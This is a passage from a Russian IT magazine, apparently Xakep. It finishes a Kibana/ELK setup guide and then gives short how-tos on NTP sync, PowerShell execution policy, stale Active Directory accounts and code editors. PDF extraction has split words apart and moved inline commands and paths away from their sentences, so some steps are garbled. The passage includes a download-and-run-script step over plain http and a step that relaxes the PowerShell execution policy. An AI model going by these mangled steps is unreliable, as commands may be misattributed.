‐Xms2g  ‐Xmx2g
/etc/elasticsearch/jvm.options

С Kibana то же самое:

$ sudo apt‐get install kibana
$ sudo systemctl enable kibana
$ sudo systemctl start kibana

По  умол чанию  Kibana  стар тует  на  localhost:5601.  В  тес товой  сре де  мож но
раз решить под клю чать ся  уда лен но, изме нив в фай ле 

 параметр  . Но  так  как  какой‐то аутен тифика ции не пре дус ‐
мотре но,  луч ше  в  качес тве  фрон та  исполь зовать  nginx,  нас тро ив  обыч ный

 и дос туп с  .

/etc/kibana/kibana.
yml server.host

proxy_pass htaccess
Пер вым  делом  нуж но  ска зать  Kibana  об  индексах  Elasticsearch,  которые

нас инте ресу ют, нас тро ив один или нес коль ко шаб лонов. Если Kibana не най ‐
дет в базе шаб лона, то и не даст его акти виро вать при вво де. Самый прос той
шаб лон    поз воля ет  уви деть  все  дан ные  и  сори енти ровать ся.  Для  filebeat
пишем   и в поле Time‐feald name —  .

*
filebeat‐* @timestamp

До бав ляем шаб лон индекса в Kibana

Пос ле  это го,  если  аген ты  под клю чены  нор маль но,  в  сек ции Discover  нач нут
появ лять ся логи.

Пош ли жур налы

Да лее  пос ледова тель но  перехо дим  по  вклад кам,  нас тра иваем  гра фики
и Dashboard.

Ме ню выбора гра фиков

Го товые уста нов ки Dashboard мож но най ти в Сети и импорти ровать в Kibana.

$ curl ‐L ‐O http://download.elastic.co/beats/dashboards/beats‐dashbo
ards‐1.3.1.zip
$ unzip beats‐dashboards‐1.3.1.zip
$ cd beats‐dashboards‐1.3.1/
$ ./load.sh

Пос ле импорта перехо дим в Dashboard, нажима ем Add и выбира ем из спис ка
нуж ный.

До бав ляем Dashboard

ВЫВОД
Го тово! Минимум у нас уже есть. Даль ше Kibana лег ко подс тра ивает ся инди ‐
виду аль но под пот ребнос ти кон крет ной сети.

mailto:prank.urban@gmail.com
http://www.elastic.co/
https://www.elastic.co/downloads/x-pack
https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-configuration-details.html
https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping.html
https://www.elastic.co/guide/en/logstash/current/working-with-plugins.html
https://www.elastic.co/guide/en/logstash/current/filter-plugins.html
https://github.com/logstash-plugins/logstash-patterns-core/tree/master/patterns
https://grokdebug.herokuapp.com/
http://grokconstructor.appspot.com/
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КАК НАСТРОИТЬ ДЕМОН ВРЕМЕНИ В LINUX И
СИНХРОНИЗИРОВАТЬ ЧАСЫ С СЕРВЕРОМ1 Как и в любой сов ремен ной ОС, в Linux мож но не толь ко задать вре ‐
мя  вруч ную,  но  и  нас тро ить  син хро низа цию  с  ато мар ными  часами
на уда лен ном сер вере. Бла года ря пери оди чес кой подс трой ке часы
на  тво ем  компь юте ре  не  будут  убе гать  или  отста вать  ни  на  долю
секун ды, что в некото рых слу чаях может ока зать ся важ но.

Нач нем  с  основ.  Что бы  узнать  текущую  дату  и  вре мя,  прос то
напиши в коман дной стро ке  .date

Та  же  коман да  исполь зует ся  для  сме ны  сис темной  даты  и  вре ‐
мени:

date MMDDhhmm

Что бы вре мя подс тра ива лось авто мати чес ки, в Ubuntu и боль шинс ‐
тве  дру гих  дис три бути вов  есть  демоны  ntpdate  и  ntpd.  Они  идут
с  сис темой,  и  допол нитель но  уста нав ливать  их  не  нуж но.  Пер вый
демон,  ntpdate,  запус кает ся  при  каж дой  заг рузке  сис темы  и  выс ‐
тавля ет  вре мя,  беря  зна чения  с  задан ного  сер вера  NTP.  А  ntpd,
в  свою  оче редь,  занят  вычис лени ем  откло нений  тво их  сис темных
часов от эта лона. В слу чае рас хожде ния он сра зу вно сит кор ректи ‐
ров ки.  Спи сок  сер веров  NTP  хра нит ся  в  фай ле   —
можешь под редак тировать его, если понадо бит ся. Обыч но он выг ‐
лядит при мер но так:

/etc/ntp.conf

# Use servers from the NTP Pool Project. Approved by Ubuntu 
Technical Board
# on 2011‐02‐08 (LP: #104525). See http://www.pool.ntp.org/
join.html for
# more information.
server 0.ubuntu.pool.ntp.org
server 1.ubuntu.pool.ntp.org
server 2.ubuntu.pool.ntp.org
server 3.ubuntu.pool.ntp.org

Ад реса  сер веров  для  син хро низа ции  мож но  взять  в  интерне те,  их
огромное  количес тво.  Сто ит  лишь  обра тить  вни мание  на  наг рузку
сер вера и выбирать наиме нее наг ружен ные.

Для  прос мотра  ста туса  демона  мож но  вос поль зовать ся  коман ‐
дой  .sudo ntpq ‐p

И раз  уж мы  говорим о  полез ных  кон соль ных  коман дах,  свя зан ных
со  вре менем,  то  рекомен дую  дер жать  на  воору жении  коман ду

 — кон соль ный кален дарь. Без парамет ров он покажет текущий
месяц,  или  можешь  зап росить  кален дарь  за  любой  месяц  любого
года:

cal

cal jun 2017

В  сов ремен ных  дис три бути вах    —  это  фак тичес ки  ссыл ка
на  , тот отли чает ся лишь тем, что выводит перевер нутый кален ‐
дарь, в котором дни недели — это стро ки.

cal
ncal

ЧТО ДЕЛАТЬ, ЕСЛИ WINDOWS НЕ ЗАПУСКАЕТ СКРИПТЫ
POWERSHELL ПО ДВОЙНОМУ КЛИКУ2 За пус кать любые скрип ты двой ным кли ком в «Про вод нике» не сов ‐
сем безопас но, но чер тов ски удоб но, осо бен но если час то с ними
работа ешь. Одна ко на новой машине ты можешь стол кнуть ся с тем,
что  эта  воз можность  не  работа ет.  Пос мотрим,  что  же  может
помешать скрип там запус кать ся.

Ско рее  все го,  при  попыт ке  запус ка  ты  видишь  такую  ошиб ку:
«Невоз можно  заг рузить  файл  C:Usersusernametest 1.ps1»  (File
C:UsersC:Usersusernametest 1.ps1  cannot  be  loaded  because  running
scripts is disabled on this system).

Ошиб ка пошика

Пер вым  делом  про верим  нас трой ки  полити ки.  Для  это го  откро ем
редак тор  PowerShell  и  выпол ним  коман ду  .
В ответ ты получишь один из вари антов:

Get‐ExecutionPolicy

Restricted — зап рет запус ка сце нари ев;•
AllSigned — могут быть запуще ны толь ко сце нарии, под писан ные
доверен ным  изда телем.  Будет  зап рашивать  под твержде ние
перед каж дым выпол нени ем;

•

RemoteSigned —  раз решено  выпол нять  соз данные  и  ска чан ные
сце нарии, под писан ные доверен ным изда телем;

•

Unrestricted — самый опас ный вари ант, никаких огра ниче ний. Все
скрип ты могут быть запуще ны.

•

Что бы выпол нять сце нарии, понизим бди тель ность сис темы и уста ‐
новим RemoteSigned:

Set‐ExecutionPolicy RemoteSigned

Поп робуй сно ва запус тить скрипт — теперь дол жно получить ся.
Ес ли  на  компь юте ре  нес коль ко  поль зовате лей  и  пре дос тавлять

такие  пра ва  всем  не  хочет ся,  мож но  выдать  их  толь ко  одно му.
Для это го исполь зуй коман ду

Set‐ExecutionPolicy RemoteSigned ‐Scope currentuser

Здесь  есть  еще  инте рес ный  нюанс.  Если  ты  ска чал  скрипт
из интерне та и совер шенно точ но хочешь его запус тить, то его пот ‐
ребу ется сна чала раз бло киро вать. Для это го зай ди в свой ства фай ‐
ла и ищи вни зу кноп ку «Раз бло киро вать».

Сни маем бло киров ку с фай ла

Ну и на вся кий слу чай напом ню еще раз:  ког да сни мешь все огра ‐
ниче ния  на  запуск  скрип тов,  вни матель но  смот ри,  что  имен но  ты
запус каешь, осо бен но если ска чал файл из интерне та.

ЛОВИМ МЕРТВЫЕ ДУШИ В ДОМЕНЕ ACTIVE DIRECTORY.
КАК УЗНАТЬ, КОГДА ПОЛЬЗОВАТЕЛЬ ПОСЛЕДНИЙ РАЗ
ВХОДИЛ В СИСТЕМУ3
Ког да  количес тво  поль зовате лей  в  домене  пре выша ет  нес коль ко
сотен,  запом нить  каж дого  ста новит ся  неп росто.  А  если  домен ная
струк тура  раз витая  и  ее  адми нит  нес коль ко  человек,  разоб рать ся
еще  слож нее. Добавим  к  это му  уволь нения,  повыше ния,  перево ды
туда‐сюда  и  хит рецов,  которые  поль зуют ся  учет кой,  оставлен ной
кем‐то на вре мя отпуска, и путани ца дос тигнет кри тичес кой отметки,
за  которой  говорить  о  безопас ности  не  при ходит ся.  Как  побороть
анар хию?

Что бы вов ремя отклю чать неис поль зуемые учет ные записи, нуж ‐
но знать, ког да кто‐то под ними заходил. Чаще все го если под учет ‐
кой ник то не работал в течение пары месяцев, зна чит, человек уже
уво лил ся  или  перевел ся.  Пос коль ку  все  дан ные  о  попыт ках  вхо да
хра нят ся  в  свой ствах  поль зовате ля  Active  Directory,  отыс кать  мер ‐
твые души будет нес ложно.

Пер вым  делом  нуж но  вклю чить  отоб ражение  допол нитель ных
свой ств, это дела ется через меню View → Advanced Features. Инте ‐
ресу ющие  нас  дан ные  хра нят ся  в  атри бутах  lastLogon  и  lastLogon‐
Timestamp, а о неудач ных попыт ках вхо да ты узна ешь из полей bad‐
PasswordTime и badPwdCount.

Ес ли у тебя сто ит один кон трол лер домена, эти дан ные тебя пол ‐
ностью устро ят, но если нет, то воз никнут проб лемы. Зна чения last‐
Logon,  badPasswordTime  и  badPwdCount  не  реп лициру ются  меж ду
кон трол лерами,  а  отсле дить,  на  какой  из  них  авто ризо вал ся  поль ‐
зователь, — та еще задач ка.

На чиная  с  Windows  Server  2008  в  AD  как  раз  для  этих  целей
появи лись  допол нитель ные  атри буты,  которые  реша ют  проб лему.
Вот они:

  —  общее  количес тво
оши боч ных попыток логона в сис тему;

• msDS-FailedInteractiveLogonCount

  —
количес тво  фей ловых  попыток  логона  с  момен та  пос ледней
успешной авто риза ции;

• msDS-
FailedInteractiveLogonCountAtLastSuccessfulLogon

  —  вре мя  пос ледней
неудач ной попыт ки;

• msDS-LastFailedInteractiveLogonTime

  —  вре мя  пос ‐
ледней удач ной попыт ки.

• msDS-LastSuccessfulInteractiveLogonTime

Эти  атри буты  успешно  реп лициру ются,  и  им  мож но  верить
при отсле жива нии логона, нуж но толь ко их вклю чить. Для это го соз ‐
дай новый объ ект груп повой полити ки и при вяжи его к Domain Con‐
trollers. Пос ле это го в вет ке 

  вклю чай  полити ку  Provide  information
about previous  logons  to client computers. Теперь кон трол леры будут
собирать необ ходимые дан ные.

Computer ConfigurationAdministrat‐
ive  TemplatesSystemKDC

Что бы  пол ностью  авто мати зиро вать  чис тку,  можешь  написать
неболь шой скрипт, который будет про верять зна чения и, к при меру,
слать тебе уве дом ление о том, что учет ка истекла.

ЧЕТЫРЕ НЕ САМЫХ ИЗВЕСТНЫХ РЕДАКТОРА КОДА ДЛЯ
РАЗРАБОТЧИКОВ4 Пи сать код мож но и в обыч ном блок ноте, но под свет ка син такси са,
авто мати чес кие  отсту пы  и  авто допол нение  —  это  те  вещи,  ради
которых  сто ит  перехо дить  на  спе циали зиро ван ный  редак тор.
Об Atom и Sublime Text (не говоря про Vim и Emacs) ты, разуме ется,
зна ешь, так что напом ню о нес коль ких менее извес тных (и при этом
бес плат ных) редак торах.

Нач нем с   — редак тора кода для веб‐раз работ чиков,
у  которо го  есть  неп лохая  бес плат ная  вер сия.  Он  под держи вает
такие  язы ки,  как  Perl,  Python,  Ruby,  Tcl,  а  так же  JavaScript,  CSS,
HTML, XML.

Komodo Edit

Komodo Edit

В Komodo Edit  есть под свет ка син такси са,  авто допол нение и шаб ‐
лоны.  В  более  прод винутой  плат ной  вер сии  он  может  работать
с SVN и отладчи ком кода.

  —  еще  один  инте рес ный  редак тор.  Он  под держи вает
огромный спи сок  язы ков  прог рамми рова ния,  име ет  очень  прос той
и лег кий в осво ении интерфейс. Так же Bluefish уме ет авто мати чес ки
допол нять HTML‐теги  и  име ет  нас тра иваемую под свет ку  син такси ‐
са.

Bluefish

Bluefish

Про ект  пол ностью  откры тый,  есть  вер сии  для  Linux,  macOS
или Windows.

  —  лег ковес ный  редак тор,  пос тро енный  на  фрей мвор ке
GTK+.  Он  отлично  опти мизи рован  и  быс тро  откры вает  объ емные
тек сто вые фай лы. В нем есть авто завер шение HTML‐тегов, под свет ‐
ка син такси са и зак рытие ранее откры тых ско бок. Что немало важ но,
в  Geany  встро ен  свой  эму лятор  тер минала  и  даже  прос тень кий
менед жер про ектов.

Geany

Geany

Фун кции Geany мож но рас ширять, уста нав ливая модули, кол лекцию
которых ты най дешь на офи циаль ном сай те. Как и у Bluefish, у Geany
есть вер сии для тех же трех основных опе раци онок.

 —  бес плат ный  кросс‐плат формен ный  редак ‐
тор, соз данный в Microsoft. Релиз сос тоял ся в 2015 году, и с тех пор
VSCode  заво евал  доверие  прог раммис тов.  Он  час то  обновля ется,
совер шенс тву ется, и количес тво его фун кций и воз можнос тей пос ‐
тепен но рас тет.

Visual  Studio  Code

Visual Studio Code

VS  Code  под держи вает  огромное  количес тво  язы ков  прог рамми ‐
рова ния,  может  исполь зовать ся  для  соз дания  веб‐про ектов  AS‐
P.NET 5  или  Node.js.  В  нем  есть  под дер жка  снип петов,  удоб ная
навига ция, фун кция  рефак торин га  и мно гое  дру гое. Он под держи ‐
вает  работу  с  локаль ными  или  уда лен ными  хра нили щами  Git
и  отлично  годит ся  для  написа ния  как  кон соль ных  при ложе ний,  так
и веб‐про ектов, и соф та с GUI.

В общем, если ты устал от сво его обыч ного редак тора и хочешь
поэк спе римен тировать  с  чем‐нибудь  новым  или  лег ковес ным,  то
у тебя есть неп лохой выбор.

mailto:faq@glc.ru
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